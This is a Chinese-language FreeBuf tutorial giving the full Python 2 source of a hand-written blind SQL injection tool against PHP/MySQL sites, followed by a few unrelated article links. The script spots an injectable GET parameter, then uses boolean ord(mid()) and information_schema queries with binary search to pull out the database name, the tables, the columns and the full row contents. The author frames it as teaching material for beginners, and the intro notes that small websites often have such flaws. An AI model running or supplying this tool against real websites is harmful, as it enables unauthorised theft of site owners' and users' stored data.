如何手写一款SQL injection tool?
0×01 前言
我想在FreeBuf上出没的人一般都是安全行业的,或者说是安全方面的爱好者,所以大家对sql注入应该都比较了解,反正我刚入门的时候就是学的这些:sql注入、xss之类的。sql注入从出现到现在也十多年了,但是一直都在owasp top10中有一席之地,原因之一就是sql注入的门槛低危害高,攻击者不需要带计算机知识、网络知识有什么太深的了解,甚至是都不需要了解,只要知道几条sql语句和那几种数据库的不同结构就可以发起攻击,而造成的伤害确实非常非常高的。
大型的网站已经很少有sql注入漏洞了,但是对于那些开发和防护都不太过关的小网站却还经常会存在sql注入漏洞,毕竟百密一疏,只要有一个注入点就可以遍历整个数据库。我本人对sql注入技术其实不是很感兴趣,而且我sql注入的水平也比较的low,这篇文章呢主要目的是帮助刚刚踏入安全界或者说是想要从事安全工作的新手们学习sql注入知识而写的,自己手写一个注入工具能让你更好的熟悉注入的原理和过程,这篇文中文字将比较少,代码占大部分,代码我也大多加了注释比较容易看懂。
0×02 注入工具的运行环境
运行环境:windows7/8/10 +python 2.7
存在sql注入漏洞环境:PHP+mysql
sql注入类型:盲注
主要的思路:判断url有无注入漏洞→若有漏洞用户决定是否继续注入→猜解数据库名长度→猜解数据库名→猜解数据库中表个数→猜解每个表的长度与表名→根据表名查看表中内容
0×03 代码不足之处
1. 在这里我只写了对于mysql的盲注利用工具,所以对mssql、oracle等其他数据库基本是不好使,本来我是想把这两个也加进去的,但是我精力有限就没有继续完善
2. 这个工具呢实际应用作用不大,适用范围比较小,只适合新手学习用,原因就是因为后面的注入语句没有跟前面的判断语句做动态的关联,而是直接写死的,这就造成了有的环境下不好用,我是没精力改写了,喜欢玩的就下面这个段代码改改,就能适应更多环境更多种类的数据库了。
3. 这个工具呢只能应用于GET提交数据的网站,post的原理一样,只是还没写上呢……
0×04 代码详情
#!/usr/bin/python
#-*- coding: UTF-8 -*-
import httplib
import urllib
def sqlscan():
while 1:
ture=('+and+5=5',' and 2=2')#这里是判断有无注入的语句
false=('+and+5=6',' and 2=3')
url=raw_input("输入源url:")
if url.find('http://')!= -1: #看有没有http://有的话删除
url=url.lstrip('http://') #删除http://
a=url.find('/') #找/分割主机和资源名
print a
host=url[:a] #/前的是主机名
path=url[a:] #后面是资源名
conn=httplib.HTTPConnection(host,80) #与主机建立一个http连接
in_p=path.find('$') #查找注入点的位置
i=0
len_x=0
while (len_x<10)and(i<len(ture)):
#path_ture=path[:in_p-1]+ture[i]+path[in_p:] #组合注入语句
#path_false=path[:in_p-1]+false[i]+path[in_p:] #组合错误的注入语句
path_ture=path.replace('$',urllib.quote(ture[i])) #用判断注入的语句替换$
path_false=path.replace('$',urllib.quote(false[i]))
conn=httplib.HTTPConnection(host,80)
conn.request('GET',path_ture) #以get方式请求
res_ture=conn.getresponse()
len_ture=len(res_ture.read()) #计算返回信息的长度
print "len_ture:",len_ture
#body_ture=res_ture.read()
#print body_ture
conn=httplib.HTTPConnection(host,80)
conn.request('GET',path_false)#同上
res_false=conn.getresponse()
len_false=len(res_false.read())
print "len_false:",len_false
len_x=abs(len_ture-len_false)
i+=1
if len_x>10:
s1= "$处存在sql注入漏洞"
print s1.decode('utf-8')
d=raw_input("是否尝试注入Y/N: ")
if d=='N':
break
elif d=='Y':
sqlin(host,path,conn,len_ture)
if len_x<=10:
s= "貌似没有sql注入漏洞"
print s.decode('utf-8')
continue
def sqlin(host,path,conn,len_ture):
num=0
while num < 50:
sqli_database_len=' and length(database())>'+str(num)#组合注入语句,猜数据库名字长度,改进的话应该在这把注入语句 #跟前面的判断注入语句关联
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
#print path_sqli
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
#print diff
if diff > 10: #条件长度差大于10即认为不同
database_len=num
print "数据库名长度:",database_len
break
num+=1
'''
num_1=1
database_name=[]
while num_1<=database_len:
for i in range(33,127):
sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(i)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10: #条件长度差大于10即认为不同
database_name.append(chr(i))
break
num_1+=1
'''
num_1=1
database_name=[]
while num_1<=database_len:#猜数据库名
min_num=33
max_num=127
while 1:#二分法猜字段
num_2=(min_num+max_num)/2
sqli_database_name=' and ord(mid(database(),'+str(num_1)+',1))>'+str(num_2)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff<10:
min_num=num_2
else:
max_num=num_2
if max_num-min_num==1:
database_name.append(chr(max_num))
break
#print 'min_num:',min_num
#print 'max_num:',max_num
num_1+=1
database_name_1=( ''.join(database_name))
print "数据库名:",database_name_1
num_3=0
while num_3 < 100:
sqli_database_len=' and (select count(table_name) from information_schema.tables where table_schema=database())>'+str(num_3)#组合注入语句,猜数据库表个数
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
#print path_sqli
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
#print diff
if diff > 10: #条件长度差大于10即认为不正确
database_len=num_3
print "数据库中表的个数:",database_len
break
num_3+=1
#'''
num_4=0
while num_4<database_len:
num_5=0
while num_5<50:#猜解表名长度
sqli_database_len=' and (select length(table_name) from information_schema.tables where table_schema=database() limit '+str(num_4)+',1)>'+str(num_5)#组合注入语句,猜数据库表个数
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10: #条件长度差小于10即认为正确
table_NO=num_4+1
table_len=num_5
#print "数据库中第",table_NO,"个表的长度:",table_len
break
num_5+=1
num_6=1
table_name=[]
tables=[]
while num_6<=table_len:#猜解数据库表名
min_num=33
max_num=127
while 1:#二分法猜字段,二分法比一个一个猜快很多
num_7=(min_num+max_num)/2
sqli_database_name=' and ord(mid((select table_name from information_schema.tables where table_schema=database() limit '+str(num_4)+',1),'+str(num_6)+',1))>'+str(num_7)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff<10:
min_num=num_7
else:
max_num=num_7
if max_num-min_num==1:
table_name.append(chr(max_num))
break
#print 'min_num:',min_num
#print 'max_num:',max_num
num_6+=1
table_name_1=( ''.join(table_name))
tables.append(table_name_1)
print "数据库中第",table_NO,"个表的长度:",table_len," 表名:",table_name_1
num_4+=1
while 1:
table_name_2=raw_input("输入要查看的表名:") #根据上面猜解出来的表名来查看各个表的详细情况
num_7=0
column_num=0
while num_7<100:#猜解表中有多少列,我猜应该不会超过100列吧,这里可以改
sqli_database_len=' and (select count(column_name) from information_schema.columns where table_name="'+table_name_2+'")>'+str(num_7)
#组合注入语句,表中列的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10:#条件长度差小于10即认为正确
column_num=num_7 #表中的列数
#print column_num
break
num_7+=1
num_8=0
columns_name=[]
while num_8<column_num:#猜解所有表名与长度 这里num_8不得大于上文的表名个数
num_9=0
while num_9<50:#猜列名长度
sqli_database_len=' and (select length(column_name) from information_schema.columns where table_name="'+table_name_2+'" limit '+str(num_8)+',1)>'+str(num_9)
#组合注入语句,表中列的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10:#条件长度差小于10即认为正确
column_len=num_9 #这里就是列名的长度
#print column_len
break
num_9+=1
num_10=1
column_name=[]
while num_10<=column_len:#猜列名
min_num=33
max_num=127
while 1:#二分法猜列名
num_2=(min_num+max_num)/2
sqli_database_name=' and ord(mid((select column_name from information_schema.columns where table_name="'+table_name_2+'" limit '+str(num_8)+',1),'+str(num_10)+',1))>'+str(num_2)
#print sqli_database_name
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff<10:
min_num=num_2
else:
max_num=num_2
if max_num-min_num==1:
column_name.append(chr(max_num))
break
#print 'min_num:',min_num
#print 'max_num:',max_num
num_10+=1
column_name_1=( ''.join(column_name))
#print column_name_1
columns_name.append(column_name_1)
num_8+=1
print "表名:",columns_name
shujumax=0 #每列数据数量的最大值
for i in columns_name:
num_11=0
while num_11<1000:
sqli_database_len=' and (select count('+i+') from '+table_name_2+')>'+str(num_11)
#组合注入语句,表中第一列数据的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
path_sqli=path.replace('$',urllib.quote(sqli_database_len)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10:#条件长度差小于10即认为正确
column_shu=num_11 #这里就是列名的长度
if column_shu>shujumax:
shujumax=column_shu
break
num_11+=1
#print "最大数量:",shujumax
num_12=0
while num_12<shujumax:
shujuneirong_1hang=[]
for i in columns_name:
num_13=0
while num_13<50:
sqli=' and (select length('+i+') from '+table_name_2+' limit '+str(num_12)+',1)>'+str(num_13)
#and (select length(id) from saiqu limit 0,1)>0
#组合注入语句,表中第一列数据的个数,注意有的地方表名需要单引号‘’,在这里需要双引号“”
path_sqli=path.replace('$',urllib.quote(sqli)) #组合新的path
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff > 10:#条件长度差小于10即认为正确
shuju_len=num_13 #这里就是数据的长度
break
num_13+=1
#print "这个数据的长度:",shuju_len
num_14=1
shujuneirong=[]
while num_14<=shuju_len:#猜测数据的内容
min_num=33
max_num=127
while 1:#二分法猜列名
num_2=(min_num+max_num)/2
sqli_database_name=' and ord(mid((select '+i+' from '+table_name_2+' limit '+str(num_12)+',1),'+str(num_14)+',1))>'+str(num_2)
path_sqli=path.replace('$',urllib.quote(sqli_database_name))
conn.request('GET',path_sqli) #获取数据
res=conn.getresponse() #获取数据
res_len=len(res.read()) #获取数据长度
diff=abs(len_ture-res_len) #对比长度
if diff<10:
min_num=num_2
else:
max_num=num_2
if max_num-min_num==1:
shujuneirong.append(chr(max_num))
break
#print 'min_num:',min_num
#print 'max_num:',max_num
num_14+=1
shujuneirong_1=( ''.join(shujuneirong))
shujuneirong_1hang.append(shujuneirong_1)
print "内容:",shujuneirong_1hang
num_12+=1
sqlscan()
0×05 运行效果
记得在输入url的时候在你觉得可能有注入漏洞的地方加一个$符号,如果有注入漏洞并且你要继续注入的话就输入Y,等到跑出所有表名你就可以根据表名来继续注入

因为每个字都要猜所以比较慢才能猜出所有内容,所以要有点耐心啊。

好啦,这次的内容就这么多了,下次有好东西在分享给大家。
*本文原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载
如何手写一款SQL injection tool?的更多相关文章
- 手写一款符合Promise/A+规范的Promise
手写一款符合Promise/A+规范的Promise 长篇预警!有点长,可以选择性观看.如果对Promise源码不是很清楚,还是推荐从头看,相信你认真从头看到尾,并且去实际操作了,肯定会有收获的.主要 ...
- 如何手写一款KOA的中间件来实现断点续传
本文实现的断点续传只是我对断点续传的一个理解.其中有很多不完善的地方,仅仅是记录了一个我对断点续传一个实现过程.大家应该也会发现我用的都是一些H5的api,老得浏览器不会支持,以及我并未将跨域考虑入内 ...
- 参考KOA,5步手写一款粗糙的web框架
我经常在网上看到类似于KOA VS express的文章,大家都在讨论哪一个好,哪一个更好.作为小白,我真心看不出他两who更胜一筹.我只知道,我只会跟着官方文档的start做一个DEMO,然后我就会 ...
- 使用HibernateTemplate手写源生SQL的【增删改查】 操作
使用 HibernateTemplate 进行持久化操作 执行的时候不报错,但数据库的持久化操作没有一点作用,问了好多人,说没有声明事务和提交事务, 用的是别人搭的的架构,事务已经有了,自动提交事务的 ...
- 手写DAO框架(四)-SQL执行
-------前篇:手写DAO框架(三)-数据库连接--------- 前言 通过上一篇写的方法,可以灵活的获取.释放数据库连接,拿到连接之后,我们就可以执行sql了!所以,本篇介绍的就是SQL执行器 ...
- SQL纯手写创建数据库到表内内容
建表啥的只点点鼠标,太外行了,不如来看看我的纯手写,让表从无到有一系列:还有存储过程临时表,不间断的重排序: 一:建数据库 create Database Show on primary ( name ...
- 手写一个简单的ElasticSearch SQL转换器(一)
一.前言 之前有个需求,是使ElasticSearch支持使用SQL进行简单查询,较新版本的ES已经支持该特性(不过貌似还是实验性质的?) ,而且git上也有elasticsearch-sql 插件, ...
- SpringBoot项目里,让TKmybatis支持可以手写sql的Mapper.xml文件
SpringBoot项目通常配合TKMybatis或MyBatis-Plus来做数据的持久化. 对于单表的增删改查,TKMybatis优雅简洁,无需像传统mybatis那样在mapper.xml文件里 ...
- Hive手写SQL案例
1-请详细描述将一个有结构的文本文件student.txt导入到一个hive表中的步骤,及其关键字 假设student.txt 有以下几列:id,name,gender三列 1-创建数据库 creat ...
随机推荐
- iOS开发-NSLog不打印设置 Prefix
首先在-Prefix.pch,文件里添加如下代码 #ifdef DEBUG #define NSLog(...) NSLog(__VA_ARGS__) #define debugMethod() NS ...
- webdriver高级应用- 无人工干预地自动下载某个文件
在网页上下载文件时,通常需要人为设定下载文件并选择保持路径,这样就无法实现完全自动的下载过程.下面实现基于firefox浏览器的全自动化文件下载操作: #encoding=utf-8 from sel ...
- 转 关于oracle 分区表 表空间以及索引的总结
关于oracle的表空间,分区表,以及索引的总结关键字: oracle, 表空间, 分区表, 索引 上周第一次做数据库测试碰到了很多问题特此总结: 表空间: Oracle的UNDOTBS01.DBF文 ...
- python week08 并发编程之多线程--实践部分
一. threading模块介绍 multiprocess模块的完全模仿了threading模块的接口,二者在使用层面,有很大的相似性,因而不再详细介绍 官网链接:https://docs.pytho ...
- 排序算法总结 c描述
概述 排序有内部排序和外部排序,内部排序是数据记录在内存中进行排序,而外部排序是因排序的数据很大,一次不能容纳全部的排序记录,在排序过程中需要访问外存. 我们这里说说八大排序就是内部排序. 当n较大, ...
- Python 协程、IO模型
1.协程(单线程实现并发)2.I/0模型 2.1阻塞I/O 2.2非阻塞I/O 知识点一:协程 协程的目的:是想要在单线程下实现并发(并发看起来是同时运行的) 并发=多个任务间切换+保存状态(正常情况 ...
- Farey sequences
n阶的法里数列是0和1之间最简分数的数列,由小至大排列,每个分数的分母不大于n. Stern-Brocot树(SB Tree)可以生成这个序列 {0/1,1/1} {0/1,1/2,1/1} {0/1 ...
- 【Luogu】P2150寿司晚宴(状压DP)
题目链接 反正……我是没什么想法了,全程看题解 (或者说自己想了半天错解) 因为大于根n的质数最多只会在一个数里出现一种,所以可以把数拆成两部分:小数的二进制集合和大数. 然后把大数一样的放到一起DP ...
- 【Luogu】P2569股票交易(单调队列优化DP)
题目链接 首先这题可以肯定的是朴素DP秒出.然后单调队列优化因为没接触过所以不会emmm 而且脑补没补出来 坐等四月省选倒数第一emmm 心态爆炸,偷懒放题解链接 #include<cstdio ...
- centos中代理的设置
最近在校园网中使用一个centos的主机,链接网络是需要代理的,如果是windows主机在Internet选项里设置一下就可以,可是在linux这个任何配置都要更改配置文件的系统里我还真是纠结了好大一 ...